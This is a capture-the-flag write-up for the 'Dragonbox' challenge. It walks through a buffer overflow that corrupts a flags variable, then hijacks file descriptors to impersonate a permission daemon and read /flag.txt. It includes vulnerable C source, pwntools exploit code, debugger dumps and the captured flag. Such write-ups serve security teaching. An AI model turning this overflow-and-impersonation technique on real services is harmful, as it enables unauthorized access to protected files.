Dragonbox

Connect to below address to spawn your team dedicated instance of the task. You can find your team token in “edit profile”.

Warning! Connections to the spawned instance will be limited to the IP address which connected to the launcher (below address) and spawned the instance. There is a limit of one instance per team.

Hint: flag is in “/flag.txt”. This challenge is running on Ubuntu 20.04. Clarification: “/proc” is not mounted in the challenge setup.

nc dragonbox.hackable.software 1337

Attachment: dragonbox.tar.gz xpl.py

Team: Super Guesser

Dragonbox was kind of a file download service. It spawns a server process, to which we can connect and request a file. It would then spawn a daemon, which communicates to the service via a socket. The server process would send our request to the daemon, which then checks, if the user is allowed to access the file and answers the server with either yes or no.

Skimming through the provided source code, a buffer overflow on bss can be spotted.

static char g_username[0x100];
static char g_password[0x100];
...
static int g_flags;
...
static void set_user(const char* username, const char* password) {
    if (!password) {
        /* Disallow empty pass for security reasons */
        password = "default";
    }
    strcpy(g_username, username);
    strcpy(g_password, password);
}
...
static bool get_user(int fd) {
    char buf[sizeof(g_username) + 1/*':'*/ + sizeof(g_password)] = { 0 };   // Size 0x201
    while (1) {
        ssize_t x = read(fd, buf, sizeof(buf) - 1);
        if (x < 0) {
            if (errno == EINTR || errno == EAGAIN) {
                sched_yield();
                continue;
            }
            return false;
        } else if (x == 0) {
            return false;
        }
        if (buf[x - 1] == '\n') {
            buf[x - 1] = 0;
        }
        break;
    }
    char* username = buf;                   // Username at start of buf
    char* password = strchr(buf, ':');      // Password starts at :
    if (password) {
        *password++ = 0;
    }
    set_user(username, password);
    return true;
}

So, we can send 0x200 bytes as “authentication token” and the get_user function will take the string at the beginning of our token as username, then searches for : and takes everything after as password and then strcpy it into g_username and g_password.

If we provide a token like A:B*0x140, this will overflow g_password and overwrite g_flags.

As this was the only obvious bug, I found on first glance, I checked, where g_flags is used.

while (1) {
    int client_fd = accept4(s, NULL, NULL, g_flags);
    if (client_fd < 0) {
        err(1, "accept");
    }

First usage was in the connection handling for new clients.

Though, when I corrupted g_flags and tried to connect another client to the server afterwards, connection mostly failed, so we have to keep this in mind, that we’ll need a clean g_flags, if we want to connect to the server.

static bool spawn_daemon(void) {
    int x = socketpair(AF_UNIX, SOCK_STREAM | g_flags, 0, g_daemon_fds);
    if (x < 0) {
        return false;
    }
    pid_t p = fork();
    if (p < 0) {
        return false;
    } else if (p == 0) {
        close(g_daemon_fds[0]);
        do_pass_daemon();
    }
    return true;
}

When we request a file for the first time, the server will check, if a permission daemon is already running (by checking g_daemon_fds != -1). If it’s not up, it will create a socket and pipe fds to communicate with it and fork.

This means, if we overwrite g_flags before requesting a file, we could maybe influence the socket creation of the daemon.

Played around with different flags to see, what will happen when the server tries to create the daemon and something interesting occured :)

#!/usr/bin/python
from pwn import *
import sys

LOCAL = True

HOST = "dragonbox.hackable.software"
PORT = 27930

def exploit(r):
	log.info("Send authentication token to overflow g_flags")
	payload = "A:" + "B"*0x100 + p16(6)

	r.send(payload)

	r.recvuntil("Welcome!")

	log.info("Trigger file request to spawn permission daemon")

	path = "/flag.txt"

	filerequest = "1" + p32(len(path)) + path

	r.send(filerequest)

	r.recvuntil("denied")

	r.interactive()
	
	return

if __name__ == "__main__":
	if len(sys.argv) > 1:
		LOCAL = False
		r = remote(HOST, PORT)		
	else:
		LOCAL = True
		r = remote("localhost", 7777)
		print (util.proc.pidof(r))
		pause()
	
	exploit(r)
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x7               
$rbx   : 0x0               
$rcx   : 0x0000555555559010  →  0xffffffffffffffff
$rdx   : 0x0               
$rsp   : 0x00007ffff7da5e60  →  0x0000000000000009 ("\t"?)
$rbp   : 0x00007ffff7da5e70  →  0x00007ffff7da5eb0  →  0x00007ffff7da5ef0  →  0x0000000000000000
$rsi   : 0x7               
$rdi   : 0x1               
$rip   : 0x0000555555555f62  →  <spawn_daemon+40> call 0x555555555360 <socketpair@plt>
$r8    : 0x0               
$r9    : 0x0               
$r10   : 0x4022            
$r11   : 0x0               
$r12   : 0x00007fffffffe1fe  →  0x0000000000000100
$r13   : 0x00007fffffffe1ff  →  0x0000000000000001
$r14   : 0x00007fffffffe200  →  0x0000000000000000
$r15   : 0x00007ffff7da5fc0  →  0x0000000000000000
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x555555555f56 <spawn_daemon+28> mov    edx, 0x0
   0x555555555f5b <spawn_daemon+33> mov    esi, eax
   0x555555555f5d <spawn_daemon+35> mov    edi, 0x1
 → 0x555555555f62 <spawn_daemon+40> call   0x555555555360 <socketpair@plt>
   ↳  0x555555555360 <socketpair@plt+0> endbr64 
      0x555555555364 <socketpair@plt+4> bnd    jmp QWORD PTR [rip+0x3c0d]        # 0x555555558f78 <socketpair@got.plt>
      0x55555555536b <socketpair@plt+11> nop    DWORD PTR [rax+rax*1+0x0]
      0x555555555370 <pthread_mutex_unlock@plt+0> endbr64 
      0x555555555374 <pthread_mutex_unlock@plt+4> bnd    jmp QWORD PTR [rip+0x3c05]        # 0x555555558f80 <pthread_mutex_unlock@got.plt>
      0x55555555537b <pthread_mutex_unlock@plt+11> nop    DWORD PTR [rax+rax*1+0x0]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffff7da5e60│+0x0000: 0x0000000000000009 ("\t"?)	 ← $rsp
0x00007ffff7da5e68│+0x0008: 0x0000000000000009 ("\t"?)
0x00007ffff7da5e70│+0x0010: 0x00007ffff7da5eb0  →  0x00007ffff7da5ef0  →  0x0000000000000000	 ← $rbp
0x00007ffff7da5e78│+0x0018: 0x0000555555555ff1  →  <user_has_perm+70> xor eax, 0x1
0x00007ffff7da5e80│+0x0020: 0x00007ffff7da5eb0  →  0x00007ffff7da5ef0  →  0x0000000000000000
0x00007ffff7da5e88│+0x0028: 0x0000555555559180  →  "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]"
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
socketpair@plt (
   $rdi = 0x0000000000000001,
   $rsi = 0x0000000000000007,
   $rdx = 0x0000000000000000,
   $rcx = 0x0000555555559010 → 0xffffffffffffffff
)

This will now try to call socketpair(AF_UNIX, SOCK_DGRAM|SOCK_SEQPACKET, 0, &g_daemon_fds), which seems to be an invalid type combination and will fail to create a socket.

The manpacke of socketpairs tells us

RETURN VALUE
       On  success,  zero is returned.  On error, -1 is returned, errno is set
       appropriately, and sv is left unchanged

       On Linux (and other systems), socketpair() does not modify sv on  fail‐
       ure.    A   requirement   standardizing  this  behavior  was  added  in
       POSIX.1-2008 TC2.

But checking g_daemon_fds shows something different.

gef➤  x/30gx 0x0000555555559010
0x555555559010 <g_daemon_fds>:	0x0000000700000006	0x0000000000001e61

So, no socket was created, since socketpair failed, but g_daemon_fds was set nevertheless to fd 6 and 7.

We can abuse the fact, that those fds are still free by connecting more clients to the server and with enough connections, one of the new clients will overtake fd 6 and 7. By this we can impersonate the permission daemon itself.

But since we have overwritten g_flags, we cannot connect to the server anymore, because accept4 will fail.

Though, we can overcome this by connecting a second client directly at the start, before overwriting g_flags with our first client. After letting the daemon spawn fail, we can use the second client authentication to fix g_flags again, enabling us to connect more clients again.

log.info("Open connection 2 in waiting state")
r2 = connect()

log.info("Send authentication token to overflow g_flags")
payload = "A:" + "B"*0x100 + p16(6)

... (let spawn fail)

log.info("Fix gflags via 2nd client")
payload = "A:" + "B"*0x100 + p16(0)

r2.send(payload)
r2.recvuntil("Welcome!")

g_flags will contain 0 again and we’re ablet to connect to the server without any issue again.

log.info("Create more connections to impersonate permission daemon")
r3 = connect()
r4 = connect()		# daemon	
r5 = connect()		# daemon 

r4.sendline("default:default")
r4.recvuntil("Welcome!")

After connecting more clients, r4 will now have the same fd as the (not existing) permission daemon socket.

Thus, we can now request the file again via our first connection, but this time, it will send its request to our connection r4, so we can just simply answer with a yes.

log.info("Send file request again to our own daemon")
r.send(filerequest)

log.info("Send allow response")
r4.send(p32(3)+"yes")

This will let the server think, that we’re indeed allowed to read the flag:

$ python work.py 1
[+] Opening connection to dragonbox.hackable.software on port 24028: Done
[*] Open connection 2 in waiting state
[+] Opening connection to dragonbox.hackable.software on port 24028: Done
[*] Send authentication token to overflow g_flags
[*] Trigger file request to spawn permission daemon
[*] Fix gflags via 2nd client
[*] Create more connections to impersonate permission daemon
[+] Opening connection to dragonbox.hackable.software on port 24028: Done
[+] Opening connection to dragonbox.hackable.software on port 24028: Done
[+] Opening connection to dragonbox.hackable.software on port 24028: Done
[*] Send file request again to our own daemon
[*] Send allow response
[*] Switching to interactive mode
$\x00\x00DrgnS{M4np4g3_l13s_eV3rYTH1n9_Li3S}